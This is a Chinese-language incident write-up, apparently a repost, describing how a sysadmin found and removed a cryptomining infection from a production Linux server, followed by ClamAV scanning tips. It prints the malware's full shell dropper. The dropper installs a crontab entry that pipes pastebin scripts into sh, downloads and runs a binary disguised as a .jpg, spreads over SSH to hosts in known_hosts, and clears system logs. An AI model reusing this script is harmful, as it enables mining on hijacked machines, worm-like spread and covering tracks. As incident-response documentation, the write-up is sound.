[记一次生产挖矿病毒处理过程] :
可能性: webaap 用户密码泄露, Jenkins/Redis 弱口令等.
1, 监控到生产主机一直 load 告警
2, 进服务器 top 查看进程, 发现挖矿病毒进程, 此进程持续消耗 CPU,kill 掉还会自动启动.
- PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
- 10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds
3, 查看 crontab -l
*/10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh
4, 分析定时任务:
浏览器打开: https://pastebin.com/raw/wDBa7jCQ 得到:
(curl -fsSL https://pastebin.com/raw/CBEphEbb||wget -q -O- https://pastebin.com/raw/CBEphEbb)|sed 's/\r//'|sh
xshell 执行:
[webapp@vm_0_17_centos ~]$ (curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|sed 's/\r//'
得出脚本文件内容如下:
- export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
- echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh" | crontab -
- mkdir -p /tmp
- chmod 1777 /tmp
- ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
- ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "watchdog"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "watchdogs"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "ksoftirqds"|awk '{print $2}'|xargs kill -9
- ps -ef|grep -v grep|grep "suolbcc"|awk '{print $2}'|xargs kill -9
- ps aux|grep -v grep|grep -v kintegrityds|awk '{if($3>=80.0) print $2}'|xargs kill -9
- apt-get install cron -y||yum install crontabs -y||apk add cron -y
- if [ ! -f "/tmp/.X11unix" ]; then
- ARCH=$(uname -m)
- if [ ${
- ARCH
- }x = "x86_64x" ]; then
- (curl -fsSL http://sowcar.com/t6/686/1553038571x2918527206.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038571x2918527206.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
- elif [ ${
- ARCH
- }x = "i686x" ]; then
- (curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
- else
- (curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
- fi
- /tmp/kpsmouseds
- elif [ ! -f "/proc/$(cat /tmp/.X11unix)/stat" ]; then
- ARCH=$(uname -m)
- if [ ${
- ARCH
- }x = "x86_64x" ]; then
- (curl -fsSL http://sowcar.com/t6/686/1553038571x2918527206.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038571x2918527206.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
- elif [ ${
- ARCH
- }x = "i686x" ]; then
- (curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
- else
- (curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
- fi
- /tmp/kpsmouseds
- fi
- if [ -f /root/.SSH/known_hosts ] && [ -f /root/.SSH/id_rsa.pub ]; then
- for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.SSH/known_hosts); do SSH -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh>/dev/null 2>&1 &' & done
- fi
- echo 0>/var/spool/mail/root
- echo 0>/var/log/wtmp
- echo 0>/var/log/secure
- echo 0>/var/log/cron
5, 分析脚本内容:
定义环境变量 --> 把获取脚本写进 crontab--> 创建 tmp 目录并修改权限 --> 排查出其他类型的挖矿病毒进程并干掉 --> 强制下载文件到 / tmp 目录并赋执行权限 --> 最后根据密钥提取主机 IP, 批量处理 SSH 到主机执行脚本.
6,[解决过程] :root 用户
1, 停止定时任务
service crontab stop
执行以下得到 IP
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.SSH/known_hosts
排查以上 IP 的主机是否感染.
2,root 用户修改 / tmp 目录权限 755, 此时文件属组为 root:root,webapp 用户没有执行权限, 就可以干掉 / tmp/kintegrityds 进程了.
- drwxr-xr-x 3 root root 12288 Mar 21 16:34 tmp
- chmod 755 /tmp
-- 清空 / tmp:
- cd /tmp
- rm -rf *
- ###cd /var/spool/cron/
- ###rm -rf webapp
- ###webapp 清空 / tmp:
- ###cd /tmp
- ###rm -rf *
3,kill 掉此进程:/tmp/kintegrityds
- top
- 10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds
- kill -9 10059
再次 top, 无此进程:/tmp/kintegrityds
4,crontab -l 依然持续写入 */10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh 到定时任务, 判断有守护进程.
- top -U webapp
- 23545 webapp 20 0 109928 16532 4 S 0.0 0.1 4:37.53 [kpsmouseds]
发现可疑进程, 干掉,
kill -9 23545
不再持续写入到定时任务.
5, 最后修改 webapp 用户密码, 修改 / tmp 文件属组, 启动 crontab, 添加常用任务.
- passwd webapp
- chown -R webapp.webapp /tmp/
- ###chown -R webapp.webapp /var/spool/cron
- /var/spool/cron
[安全防范] :
密钥文件改别名: id_rsa.pub --> id_rsa.pub_bak_日期
Jenkins 和 Redis 不要用弱口令
保管好主机密码!
[ Linux 杀毒软件] :clamav
yum install clamav
. 升级病毒库 freshclam
. 扫描所有用户的主目录就使用 clamscan -r /home
. 扫描您计算机上的所有文件并且显示所有的文件的扫描结果, 就使用 clamscan -r /
. 扫描您计算机上的所有文件并且显示有问题的文件的扫描结果, 就使用 clamscan -r --bell -i /
- /usr/local/clamav/bin/clamscan -r --remove (查杀当前目录并删除感染的文件)
- /usr/local/clamav/bin/clamscan -r --bell -i / (扫描所有文件并且显示有问题的文件的扫描结果)
> 其他参数
> -r/--recursive[=yes/no] 所有文件
> --log=FILE/-l FILE 增加扫描报告
> # clamscan -l /var/log/clamscan.log /
> --move [路径] 移动病毒文件至..
> --remove [路径] 删除病毒文件
> --quiet 只输出错误消息
> --infected/-i 只输出感染文件
> --suppress-ok-results/-o 跳过扫描 OK 的文件
> --bell 扫描到病毒文件发出警报声音
> --unzip(unrar) 解压压缩文件扫描
-- 扫描根目录下文件, 并指定日志文件:/var/log/clamscan.log
clamscan -r -l /var/log/clamscan.log / &
[查看 CPU 占用排名前十的进程:]
ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head
[查看内存占用排名前十进程:]
ps aux|head -1;ps aux|grep -v PID|sort -rn -k +4|head
来源: http://www.bubuko.com/infodetail-2995689.html